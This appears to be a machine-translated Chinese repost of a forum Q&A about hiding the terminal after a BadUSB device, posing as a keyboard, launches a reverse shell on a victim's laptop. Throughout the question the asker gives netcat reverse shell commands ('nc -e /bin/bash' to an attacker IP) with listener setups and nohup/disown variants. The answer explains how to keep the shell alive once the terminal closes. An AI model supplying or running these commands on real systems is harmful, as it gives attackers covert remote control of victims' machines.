[英]Hide a reverse shell terminal without screen
场景:攻击者将充当键盘的 USB 插入受害者的笔记本电脑。 有效载荷打开一个终端,执行反向 shell 并隐藏终端。
问题:我在本地进行的测试(ubuntu 19.04,和 digispark as usb)如下:
一
终端A nc -e /bin/bash 10.10.10.10 8888
终端 B nc -vlp 8888
一切正常,我的 shell 在终端 B 上有提示,但终端 A 没有隐藏。 那么在这种情况下它是没有用的。
二
终端A nc -e /bin/bash 10.10.10.10 8888&; disown; exit
nc -e /bin/bash 10.10.10.10 8888&; disown; exit
终端 B nc -vlp 8888
终端 B 只是挂起,终端 A 被隐藏。 无用。
三
终端A nohup nc -e /bin/bash 10.10.10.10 8888&; exit
nohup nc -e /bin/bash 10.10.10.10 8888&; exit
终端 B nc -vlp 8888
终端 B 只是挂起,终端 A 被隐藏
四
终端 A:我打开screen
,然后执行nc -e /bin/bash 10.10.10.10 8888
, CTRL^A
,然后d
,最后exit
。
终端 B nc -vlp 8888
使用screen
一切正常(终端 B 接收到工作 shell 并且终端 A 不可见)但我不想使用 screen 因为它默认未安装。
问题:有没有办法(使用预装的工具)隐藏没有screen
但效果相同的终端?
nohup nc ...&; disown; exit
shell 退出后,终端将注销或关闭(取决于它是哪种终端),并向控制进程组发送 SIGHUP,这将导致 nc 退出。
使用nohup
会从终端分离并在其自己的进程组中运行nc
(因此它将不再位于终端的控制进程组中),因此不会将 SIGHUP 发送给它。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.